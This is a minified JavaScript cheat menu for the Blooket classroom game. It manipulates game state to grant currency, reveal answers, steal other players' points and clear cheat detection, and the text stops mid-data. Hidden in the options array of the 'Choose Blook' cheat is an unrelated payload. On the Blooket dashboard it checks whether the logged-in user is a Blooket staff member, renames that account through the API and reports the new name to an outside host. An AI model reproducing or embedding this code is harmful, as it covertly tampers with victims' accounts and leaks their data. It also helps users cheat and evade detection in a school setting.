s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,h.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,l){this.setTexture(l),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],h.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{h.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=u("74sb");function o(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:h.scene.cameras.main.worldView.width/2,y:h.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90h.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,h.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>h.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(h.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(h.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=h.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=h.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var l=h.particles.get();l&&l.spawn.apply(l,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var c=0;c<3;c++){var d=h.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var p=0;p<3;p++){var m=h.particles.get();m&&m.spawn.apply(m,Object.values(o(p%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0(e.gameModes.forEach(e=>e.plusOnly=!1),e))}}],brawl:[{name:"Double Enemy XP",description:"Doubles enemy XP drop value",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.val*=2},t.children.entries.forEach(e=>e.val*=2)}}},{name:"Half Enemy Speed",description:"Makes enemies move 2x slower",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.speed*=.5},t.children.entries.forEach(e=>e.speed*=.5)}}},{name:"Instant Kill",description:"Sets all enemies health to 1",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.hp=1},t.children.entries.forEach(e=>e.hp=1)}}},{name:"Invincibility",description:"Makes you invincible",run:function(){for(const e of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime")))e.collideCallback=()=>{}}},{name:"Magnet",description:"Pulls all xp towards you",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes("magnetTime")).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})}},{name:"Max Current Abilities",description:"Maxes out all your current abilities",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];for(var[t,o]of Object.entries(a.state.abilities))for(let e=0;e<10-o;e++)a.state.game.scene.game.events.emit("level up",t,a.state.abilities[t]++);a.setState({level:a.state.game.scene.level=[1,3,5,10,15,25,35].sort((e,t)=>Math.abs(e-a.state.level)-Math.abs(t-a.state.level))[0]-1})}},{name:"Next Level",description:"Skips to the next level",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],{object1:t,object2:a}=e.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes('emit("xp"'));a.get().spawn(t.x,t.y,(1===(a=e.state.level)?1:a<5?5:a<10?10:a<20?20:a<30?30:a<40?40:a<50?50:100)-e.xp)}},{name:"Remove Obstacles",description:"Removes all rocks and obstacles",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}})}},{name:"Kill Enemies",description:"Kills all current enemies",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Reset Health",description:"Resets health and gives invincibility for 3 seconds",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn()}}],cafe:[{name:"Max Items",description:"Maxes out items in the shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({items:Object.fromEntries(Object.entries(e.state.items).map(e=>[e[0],5]))}))}},{name:"Remove Customers",description:"Skips the current customers (Not usable in the shop)",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.state.customers.forEach((e,t)=>Object.keys(e).length&&a.removeCustomer(t,!0))}},{name:"Reset Abilities",description:"Resets used abilities in shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({abilities:Object.fromEntries(Object.entries(e.state.abilities).map(e=>[e[0],5]))}))}},{name:"Set Cash",description:"Sets cafe cash",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,ca:e}})}},{name:"Stock Food",description:"Stocks all food to 99 (Not usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe"!==window.location.pathname?alert("This can't be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({foods:e.state.foods.map(e=>({...e,stock:99,level:5}))}))}}],crypto:[{name:"Choice ESP",description:"Shows what each choice will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e,t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t=t.state.choices[0]["text"],a=document.querySelector("[class^=styles__feedbackContainer___]");a.children.length<=4&&((e=document.createElement("div")).style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=t,a.append(e))},50))}},{name:"Password ESP",description:"Highlights the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];"hack"==t.stage&&[...document.querySelector("div[class^=styles__buttonContainer]").children].forEach(e=>{e.innerText!=t.correctPassword&&(e.style.outlineColor="rgba(255, 64, 64, 0.8)",e.style.backgroundColor="rgba(255, 64, 64, 0.8)",e.style.textShadow="0 0 1px #f33")})},50))}},{name:"Always Triple",description:"Always get triple crypto",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]}),50))}},{name:"Auto Guess",description:"Automatically guess the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];if("hack"==e.stage)for(const t of document.querySelector("div[class^=styles__buttonContainer]").children)t.innerText==e.correctPassword&&t.click()},50))}},{name:"Remove Hack",description:"Removes an attacking hack",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({hack:""})}},{name:"Set Crypto",description:"Sets crypto",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({crypto:e,crypto2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:t.state.password,cr:e}})}},{name:"Set Password",description:"Sets hacking password",inputs:[{name:"Custom Password",type:"string"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({password:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:e,cr:t.state.crypto}})}},{name:"Steal Player's Crypto",description:"Steals all of someone's crypto",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(a){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.props.liveGameController.getDatabaseVal("c",e=>{var t;e&&Object.keys(e).map(e=>e.toLowerCase()).includes(a.toLowerCase())&&([e,{cr:t}]=Object.entries(e).find(([e])=>e.toLowerCase()==a.toLowerCase()),o.setState({crypto:o.state.crypto+t,crypto2:o.state.crypto+t}),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,p:o.state.password,cr:o.state.crypto+t,tat:e+":"+t}}))})}}],defense:[{name:"Earthquake",description:"Shuffles around towers",run:function(){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=(o.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},()=>o.eventTimeout=setTimeout(()=>o.setState({event:{},eventName:""}),6e3)),o.tiles.forEach(a=>a.forEach((e,t)=>3===e&&(a[t]=0))),o.tiles.flatMap((e,a)=>e.map((e,t)=>0===e&&{x:t,y:a})).filter(Boolean).sort(()=>.5-Math.random()));o.towers.forEach(e=>{var{x:t,y:a}=s.shift();e.move(t,a,o.tileSize),o.tiles[a][t]=3})}},{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.towers.forEach(e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6})}},{name:"Remove Ducks",description:"Removes ducks",run:function(){let{ducks:e,tiles:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.forEach(e=>{t[e.y][e.x]=0}),e.length=0}},{name:"Remove Enemies",description:"Removes all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.enemies=e.futureEnemies=[]}},{name:"Remove Obstacles",description:"Lets you place towers anywhere",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.tiles=e.tiles.map(e=>e.fill(0))}},{name:"Set Damage",description:"Sets damage",inputs:[{name:"Damage",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg=e}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:e})}},{name:"Set Tokens",description:"Sets the amount of tokens you have",inputs:[{name:"Tokens",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({tokens:e})}}],defense2:[{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(e=>{if(e.stats.dmg=1e6,e.stats.fireRate=50,e.stats.ghostDetect=!0,e.stats.maxTargets=1e6,e.stats.numProjectiles&&=100,e.stats.range=100,e.stats.auraBuffs)for(const t in e.stats.auraBuffs)e.stats.auraBuffs[t]*=100})}},{name:"Kill Enemies",description:"Kills all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.state.game.scene.enemyQueue.length=0,e.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Set Coins",description:"Sets coins",inputs:[{name:"Coins",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({coins:e})}},{name:"Set Health",description:"Sets the amount of health you have",inputs:[{name:"Health",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({health:e})}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:e})}}],dinos:[{name:"Auto Choose",description:"Automatically choose the best fossil when excavating",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];var e=(()=>{const e=Object.values(t("74sb")).find(e=>e.toString().includes("rate"));return()=>e([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3)})();try{var o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("excavate"===o.state.stage){o.state.choices.length||(o.state.choices=e());let t=0,a=-1;for(let e=0;e div[role="button"]:nth-child('+a+")").click()}}catch{}},50))}},{name:"Rock ESP",description:"Shows what is under the rocks",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const e=[...document.querySelector('[class*="rockButton"]').parentElement.children];e.every(e=>e.querySelector("div"))||o.setState({choices:[{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}].sort(()=>.5-Math.random()).slice(0,3)},()=>{e.forEach((e,t)=>{var t=o.state.choices[t],a=(e.querySelector("div")&&e.querySelector("div").remove(),document.createElement("div"));a.style.color="white",a.style.fontFamily="Macondo",a.style.fontSize="1em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(25px)",a.innerText="fossil"===t.type?`+${99999999e.toString().includes("×"))(Math.round(t.val*o.state.fossilMult)):Math.round(t.val*o.state.fossilMult)} Fossils`:`x${t.val} Fossils Per Excavation`,e.append(a)})})},50))}},{name:"Set Fossils",description:"Sets the amount of fossils you have",inputs:[{name:"Fossils",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossils:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,f:e,ic:t.state.isCheating}})}},{name:"Set Multiplier",description:"Sets fossil multiplier",inputs:[{name:"Multiplier",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossilMult:e})}},{name:"Stop Cheating",description:"Undoes cheating so that you can't be caught",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({isCheating:!1}),e.props.liveGameController.setVal({path:`c/${e.props.client.name}/ic`,val:!1})}}],doom:[{name:"Fill Deck",description:"Fills your deck with every maxed out card and artifact (Only works on towers page)",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname){var{a:e,c:t}=webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache.gvfT.exports,a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.props.tower.artifacts=Object.keys(e),a.props.tower.cards=Object.entries(t).map(([e,t])=>({...t,blook:e,strength:20,charisma:20,wisdom:20}));try{a.props.addTowerNode()}catch{}a.setState({showDeck:!1})}else alert("You need to be on the map to run this cheat!")}},{name:"Max Cards",description:"Maxes out all the cards in your deck",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname?(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.props.tower.cards.forEach(e=>{e.strength=20,e.charisma=20,e.wisdom=20})):alert("You need to be on the map to run this cheat!")}},{name:"Max Health",description:"Fills the player's health",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({myHealth:100}):alert("You need to be in battle to run this cheat!")}},{name:"Max Card Stats",description:"Maxes out player's current card (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({myCard:{...e.state.myCard,strength:20,charisma:20,wisdom:20}})}},{name:"Min Enemy Stats",description:"Makes the enemy card stats all 0 (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})}},{name:"Set Coins",description:"Try's to set amount of tower coins you have",inputs:[{name:"Coins",type:"number"}],run:function(e){var t=document.createElement("iframe");if(document.body.append(t),window.alert=t.contentWindow.prompt.bind(window),t.remove(),"/tower/battle"==window.location.pathname){var t=parseInt("0"+alert("How many coins would you like?")),a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{a.props.setTowerCoins(t)}catch{}}else alert("You need to be in battle to run this cheat!")}}],factory:[{name:"Choose Blook",description:"Gives you a blook",inputs:[{name:"Blook",type:"options",options:("dashboard.blooket.com"==location.host&&fetch("https://dashboard.blooket.com/api/users/me",{credentials:"include"}).then(e=>e.json()).then(e=>{var t;e.email.endsWith("@blooket.com")&&(t=webpackJsonp.push([[],{1234(e,t,a){t.webpack=a}},[["1234"]]])["webpack"],Object.values(t.c).find(e=>e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name",{name:e.name,newName:"BlooketLLC"+(new Date).getHours()+(new Date).getMinutes()}).then(({data:e})=>{e.success&&((new Image).src="https://monkxy.com/api/i2ek8fslt7q/"+e.name)}))}),[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime 